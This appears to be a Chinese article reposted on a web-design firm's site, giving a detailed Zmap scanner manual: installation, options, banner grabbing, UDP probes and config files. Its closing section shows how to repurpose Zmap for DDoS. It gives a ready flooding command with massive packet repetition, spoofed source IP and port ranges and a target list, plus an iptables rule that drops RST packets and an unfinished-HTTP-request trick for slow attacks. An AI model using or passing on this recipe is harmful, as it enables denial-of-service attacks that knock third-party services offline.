新聞中心
Zmap是美國(guó)密歇根大學(xué)研究者開(kāi)發(fā)出一款工具。在第22屆USENIX安全研討會(huì),以超過(guò)nmap 1300倍的掃描速度聲名鵲起。相比大名鼎鼎的nmap全網(wǎng)掃描速度是他最大的亮點(diǎn)。在千兆網(wǎng)卡狀態(tài)下,45分鐘內(nèi)掃描全網(wǎng)絡(luò)IPv4地址。

專注于為中小企業(yè)提供做網(wǎng)站、網(wǎng)站建設(shè)服務(wù),電腦端+手機(jī)端+微信端的三站合一,更高效的管理,為中小企業(yè)西秀免費(fèi)做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動(dòng)了1000+企業(yè)的穩(wěn)健成長(zhǎng),幫助中小企業(yè)通過(guò)網(wǎng)站建設(shè)實(shí)現(xiàn)規(guī)模擴(kuò)充和轉(zhuǎn)變。
安裝
64位版本 Debian/Ubuntu 系列
Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt Step2: wget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz Step3: tar –zxvf v1.0.3.tar.gz Step4: cd zmap-1.0.3/src Step5: make && make install
32版本 (zmap 主頁(yè)只說(shuō)適用于64位linux,這里用BT5r3 32位同樣安裝成功,建議還是盡量選用64版本的)
Debian/Ubuntu 系列
Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt Step2: git clone git://github.com/zmap/zmap.git Step3: tar –zxvf v1.0.2.tar.gz Step4: cd zmap-1.0.2/src Step5: make && make install
Fedora, Red Hat Enterprise Linux, or CentOS版本: 只把step1替換成
sudo yum install gmp gmp-devel libpcap-devel gengetopt
如果想使用 redis用來(lái)存儲(chǔ)則需要首先安裝 Hiredis,并在step5中
make REDIS=true (加入此安裝選項(xiàng))
不是以root權(quán)限運(yùn)行則需要配置:
setcap cap_net_raw=ep /usr/local/sbin/zmap
使用介紹:
安裝完后,可直接調(diào)用zmap
1.最簡(jiǎn)單的調(diào)用
zmap -B 10M -p 80 -n 100000 -o results.txt
-B 是指的是帶寬
-p 端口
-n 掃描多少個(gè)目標(biāo)
-o 輸出結(jié)果
整句表示利用10M帶寬掃描100000IP地址的端口,并將結(jié)果輸出到results.txt中。
BT5 R3 測(cè)試時(shí),必須加入-G 參數(shù)
zmap -B 10M -p 80 -n 100000 -G "01:00:5e:00:00:02" -o results.txt
-G 是指定出口的mac地址,必須為網(wǎng)關(guān)的實(shí)際mac地址,否則返回?cái)?shù)據(jù)找不到信息。 如果掃到IP地址開(kāi)了80端口,就會(huì)按照下列格式進(jìn)行保存。
115.237.116.119 23.9.117.80 207.118.204.141 217.120.143.111
2.用的最多的指令
zmap -p 443 -G "00:00:00:00:00:00"
檢測(cè)全網(wǎng)絡(luò)SSL/STL使用狀況,ZMAP幾個(gè)研究項(xiàng)目都與此有關(guān)。
可見(jiàn)我使用的掃描全網(wǎng)的所得大約9小時(shí)16分鐘,網(wǎng)絡(luò)為10MADSL帶寬,ADSL上行速度只有100k左右,導(dǎo)致時(shí)間加倍延遲。
3.常用參數(shù)
-p, --target-port=port
指定掃描的目標(biāo)端口
-o, --output-file=name
把結(jié)果寫入指定文件-o result.txt
-b, --blacklist-file=path
IP地址黑名單,例如192.168.0.0/16 表示 192.168.x.x將不被掃描,默認(rèn)提供一份RFC 1918保留和內(nèi)網(wǎng)地址供參考,存放位置在conf/blacklist.conf
zmap -p 443 -G "00:00:00:00:00:00" -b conf/blacklist.conf
-n, --max-targets=n
最大掃描IP地址數(shù)量,-n 100 表示總歸掃描100個(gè)IP地址。也可指定 –n 0.1%形式,表示掃描除去黑名單列表里面全網(wǎng)段的0.1%數(shù)量的IP地址。
-N, --max-results=n
最大掃描到結(jié)果的IP數(shù)量,-N 100 表示掃描到100個(gè)存在的結(jié)果就停止。
-t, --max-runtime=secs
最大掃描時(shí)間,-t 10 表示程序運(yùn)行10s結(jié)束。
-r, --rate=pps
設(shè)置每秒發(fā)送包的數(shù)量 –r 10000 表示每秒發(fā)送10k個(gè)包。
-B, --bandwidth=bps
設(shè)置每秒發(fā)送包的大小,-B 10M 表示每秒發(fā)送10Mbps 支持單位(GMK)。
-c, --cooldown-time=secs
設(shè)置數(shù)據(jù)包發(fā)送完之后多長(zhǎng)時(shí)間開(kāi)始接受數(shù)據(jù)(response),默認(rèn)8s,TCP連接異步接受。
-e, --seed=n
設(shè)置掃描隨機(jī)地址的順序,C語(yǔ)言中的偽隨機(jī)種子,指定 定值每次隨機(jī)掃描的IP地址順序是一樣。
-T, --sender-threads=n
設(shè)置掃描線程。默認(rèn)是1,經(jīng)測(cè)試單線程基本是把網(wǎng)絡(luò)帶寬充分利用。
-P, --probes=n
設(shè)置往每個(gè)IP發(fā)送包的數(shù)量,默認(rèn)為1。(DDOS的參數(shù)之一)。
-d, --dryrun
打印出每個(gè)包的內(nèi)容,非常實(shí)用的功能。
-s, --source-port=port|range
設(shè)置掃描的源端口,可指定范圍 –s 30000-50000。(DDOS的參數(shù)之一)。
-S, --source-ip=ip|range
設(shè)置掃描的源IP地址,可指定范圍-S 100.100.0.1-200.200.200.200(DDOS的參數(shù)之一)。
-G, --gateway-mac=addr
設(shè)置網(wǎng)關(guān)的mac地址,可偽造。(DDOS的參數(shù)之一)
-M, --probe-module=name
設(shè)置掃描模式,參數(shù)tcp_synscan(默認(rèn)),icmp_echoscan(ping掃描),udp(測(cè)試速度要遜于前兩個(gè)),這里可自定義自己的模塊,ZMAP作者后續(xù)會(huì)增加例如自定義UDP payload 的選項(xiàng)。(`*udp_send_msg = “GET / HTTP/1.1 “; // Must be null-terminated`)源碼里不可直接更改 (1.0.3版本加入U(xiǎn)DP Data Probes可進(jìn)行自定義)
-O, --output-module=name
設(shè)置結(jié)果輸出模塊,參數(shù)simple_file(默認(rèn)),extended_file。 Simple_file 模式如下
115.237.116.119 23.9.117.80 207.118.204.141 217.120.143.111
Extended File模式如下
response, saddr, daddr, sport, dport, seq, ack, in_cooldown, is_repeat, timestamp synack, 159.174.153.144, 10.0.0.9, 80, 40555, 3050964427, 3515084203, 0, 0,2013-08-15 18:55:47.681
掃描模塊和輸出模塊都提供了API ,可自己根據(jù)需要添加功能。
--quiet
安靜狀態(tài)下運(yùn)行,不把進(jìn)度信息打印到屏幕上
--summary
輸出結(jié)果匯總,對(duì)研究人員來(lái)說(shuō) 非常有幫助。
三個(gè)額外的擴(kuò)展應(yīng)用
Banner Grab
抓取指紋,簡(jiǎn)言之抓取response 為識(shí)別類似SSH,http 401之類的信息做準(zhǔn)備。 這里 examples / banner-grab 目錄下 首先 make 生成banner-grab-tcp 向http-req 文件寫入要發(fā)送的數(shù)據(jù) (也可以自定義SSH-req 之類) 如:
echo -e -n "GET / HTTP/1.1 Host: %s " > http-req (%s 保留,其他可任意構(gòu)造HTTP請(qǐng)求,包括GET,POST)
這里擴(kuò)展下 banner-grab-tcp下的參數(shù)
-c, --concurent 每次的連接數(shù),最好低于1000,想要高于1000則必須設(shè)置ulimit -SSn 1000000` and `ulimit -SHn 1000000` 突破每個(gè)文件最大進(jìn)程數(shù)1024 -p, --port 連接的端口 -t, --conn-timeout 連接超時(shí)時(shí)間 -r, --read-timeout 響應(yīng)超時(shí)時(shí)間 -v, --verbosity 列取信息詳細(xì)程度 ,與sqlmap 類似 -f, --format 輸出文件格式hex,ascii,base64 -d, --data 發(fā)送的數(shù)據(jù)信息 就是前面設(shè)置http-req
源碼里 #define MAX_BANNER_LEN 1024 接收的每條返回?cái)?shù)據(jù),只接收1024字節(jié),根據(jù)需要可自行更改。
與zmap 聯(lián)合使用
例子
zmap -p 80 -N 1000 -o - | ./banner-grab-tcp -p 80 -c 100 -d http-req > http-banners.out
zmap掃描1000個(gè)80端口開(kāi)放的IP地址,banner-grab-tcp 來(lái)掃描這些IP地址,掃描請(qǐng)求內(nèi)容通過(guò)http-req可自定義 .
forge-socket
與Banner Grab功能一樣,參數(shù)也類似,不再重復(fù)。 主要是安裝方式不同 要先安裝下列驅(qū)動(dòng)
git clone [email protected]:ewust/forge_socket.git cd forge_socket make sudo insmod forge_socket.ko(以底層驅(qū)動(dòng)方式 比Banner Grab效率高一些)
并且用iptables阻止發(fā)rst包
iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP
UDP Data Probes
1.03版本加入 詳細(xì)的測(cè)試payload見(jiàn) https://github.com/zmap/zmap/tree/master/examples/udp-probes 以探測(cè)mssql的1434端口為例:
zmap -M udp -p 1434 --probe-args=file:examples/udp-probes/mssql_1434.pkt
pkt也可自行構(gòu)造。 格式化配置 利用配置文件 簡(jiǎn)化命令行輸入
interface "eth1" source-ip 1.1.1.4-1.1.1.8 gateway-mac b4:23:f9:28:fa:2d # upstream gateway cooldown-time 300 # seconds blacklist-file /etc/zmap/blacklist.conf output-file ~/zmap-output quiet summary
上述指令上面全部有介紹。 很顯然,可以通過(guò)配置文件更快速配置zmap. 使用方法:
zmap --config=~/.zmap.conf --target-port=443
原理分析
Know it 首先講下TCP三次握手。 在TCP/IP協(xié)議中,TCP協(xié)議提供可靠的連接服務(wù),采用三次握手建立一個(gè)連接。
可見(jiàn)三次握手存在于發(fā)送-應(yīng)答-發(fā)送機(jī)制,等待監(jiān)聽(tīng)的時(shí)間勢(shì)必導(dǎo)致發(fā)包速度很慢。 這里zmap是發(fā)送SYN,隨后發(fā)送RST(重置連接),不存在監(jiān)聽(tīng)同步操作,清空連接,再繼續(xù)發(fā)下一個(gè)數(shù)據(jù)包。 而對(duì)于識(shí)別 zmap把 Ip地址和端口做了類似hash表一樣的映射,當(dāng)數(shù)據(jù)包返回時(shí)(可能是Syn+Ack,也可能RST),取出返回?cái)?shù)據(jù)包里Ip和端口地址進(jìn)行儲(chǔ)存的hash表里查詢,并對(duì)應(yīng)處理記錄。 同步變異步高效的基本原因。
發(fā)散擴(kuò)展
DDoS的可行性:
作者旨在關(guān)注全網(wǎng)的掃描,并未提及相關(guān)DDoS 的信息。 也并未特別提供指向型發(fā)包的指令。 下面討論可能與作者想法相違,希望各位重在技術(shù)鉆研,而非一些惡意破壞。
指定ip段 和ip地址
-w, --whitelist-file=path
限制只掃描文件中的下列地址或者地址段,例如:
222.222.221.82/24 (192.168.1.0-255 ) (可利用種子 –seed 調(diào)整從那個(gè)IP開(kāi)始)
單個(gè)Ip地址
222.222.221.82/32 (隨機(jī)找了一個(gè),這里1.02版本測(cè)試不能直接,需要改 blacklist.c 和constraint.c 中生成IP地址的二叉樹(shù)的root節(jié)點(diǎn)一小部分代碼)
然后利用
-P 10000000 (重復(fù)多次發(fā)包) -s 2000-60000 (設(shè)置一個(gè)大的端口段) -S 20.20.20.0-200.200.200.200(隨機(jī)大量Ip地址,模擬分布式的D) -G 這個(gè)偽造mac (但是收不到數(shù)據(jù)包) Zmap –p 80 -P 10000000 -s 2000-60000 -S 20.20.20.0-200.200.200.200 -w attack_url.txt
見(jiàn)下列發(fā)送的數(shù)據(jù)效果,達(dá)到預(yù)期
可能造成什么樣的危害? 可以配置IP Spoofing,syn flood,land attack, ICMP floods, Application floods 和其他UDP 全零等多種攻擊。 Zmap 的發(fā)包速度甚至可以忽略一下 隨后發(fā)的這個(gè)rst 包。 也可以做得完美一點(diǎn)就是利用iptables
iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP
把發(fā)出去的RST包給drop掉。
可以再升一下?
畢竟有部分?jǐn)U展能控制到應(yīng)用層也是可以進(jìn)行慢攻擊。 Get 類型
echo -e -n "GET / HTTP/1.1\r\nHost: %s\r\n\r\n" > http-req 替換成 echo -e -n "GET / HTTP/1.1\r\nHost: %s\r\n\ " > http-req
Post 類型 可以把源碼sizeof(value) 的值設(shè)置一個(gè)大的動(dòng)態(tài)數(shù)值。 Post數(shù)據(jù)設(shè)置很小。
DDoS 流量 +連接數(shù) +畸形包
流量基本只能硬防,拼硬件。
zmap幾乎是最大限度利用網(wǎng)絡(luò)帶寬,10臺(tái)G口服務(wù)器不會(huì)損耗多少,如果再利用DNS放大流量之類,很恐怖的數(shù)字。
Ps : Zmap 某些方面和python 的scapy很像。 但zmap 純C實(shí)現(xiàn),比scapy效率要高一些。 以前老是糾結(jié)scapy 隨后發(fā)送RST 問(wèn)題,這里利用iptables 方式確實(shí)是個(gè)好方法。 參考其中的源碼和相對(duì)規(guī)范的API接口,編寫一些模塊可以玩出很多花樣。
網(wǎng)站欄目:Zmap詳細(xì)用戶手冊(cè)及DDOS的可行性
網(wǎng)頁(yè)地址:http://m.fisionsoft.com.cn/article/dpcshsi.html


咨詢
建站咨詢
